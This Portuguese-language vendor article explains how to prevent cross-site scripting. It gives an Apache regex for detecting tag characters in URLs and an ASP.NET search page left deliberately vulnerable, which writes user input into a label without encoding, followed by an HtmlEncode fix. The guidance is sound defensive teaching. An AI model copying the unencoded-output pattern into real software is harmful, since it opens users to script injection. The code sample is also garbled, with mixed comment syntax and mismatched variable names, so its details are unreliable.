Você deve se assegurar que todas as entradas de dados do usuário não são confiáveis. Todos dados de usuário a serem utilizados para construção do contexto HTML (corpo, atributo, JavaScript, CSS ou URL) devem ser verificados para assegurar que não contenham nenhum conteúdo ativo (JavaScript, ActiveX, Flash, Silverlight, etc) e que sejam codificados de maneira apropriada, por exemplo, transformando metacaracteres em códigos de escape HTML.

Uma boa referência para apoiar a filtragem de dados é o dicionário de ataques XSS fornecido pelo OWASP:

Por outro lado, os ataques de XSS também podem ser evitados pela implementação de um filtro de aplicações web, mais conhecido como Web Application Firewall, e também por meio de mecanismos de prevenção que estão embutidos em navegadores modernos.

Exemplo de filtro utilizando o Apache

Utilizando-se do módulo rewrite do Apache, as URL podem ser avaliadas de acordo com uma expressão regular para determinar a presença de metacaracteres nos dados recebidos do usuário. Por exemplo, a seguinte expressão regular pode ser usada para detectar caracteres alfanuméricos entre as tags ou barras:

/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i

Exemplo de correção para códigos vulneráveis:

Este é um exemplo de código em ASP.NET (v1.1) vulnerável, cuja função é de pesquisa e retorno dos dados enviados pelo usuário:

‘ SearchResult.aspx.vb

Imports System

Imports System.Web

Imports System.Web.UI

Imports System.Web.UI.WebControls

Public Class SearchPage Inherits System.Web.UI.Page

Protected txtInput As TextBox

Protected cmdSearch As Button

Protected lblResult As Label Protected

Sub cmdSearch _Click(Source As Object, _ e As EventArgs)

// Do Search…..

    // …………

lblResult.Text=”You Searched for: ” & txtInput.Text

// Display Search Results…..

// …………

End Sub

End Class

Para remover a falha e mitigar a vulnerabilidade, se faz necessário incluir uma validação dos dados de entrada do usuário por meio da inserção de um “filtro” que evite que códigos HTML sejam expostos explicitamente sem uma codificação apropriada:.

Response.Write Server.HtmlEncode(inputTxt.Text)

Como a RedeSegura pode te ajudar?

A RedeSegura possui uma solução completa para gestão de vulnerabilidades em aplicativos web, seja qual for o seu tipo de indústria e tamanho do seu aplicativo. Saiba mais detalhes sobre nossa metodologia:

Contate-nos ainda hoje para obter mais detalhes da nossa solução e como podemos ajudá-lo na missão de manter seus aplicativos web seguros.

Exemplo de vídeos de ataque

  • Penetration Testing: Cross-Site Scripting Explained – 7Safe

  • OWASP Appsec Tutorial Series – Episode 3: Cross Site Scripting (XSS)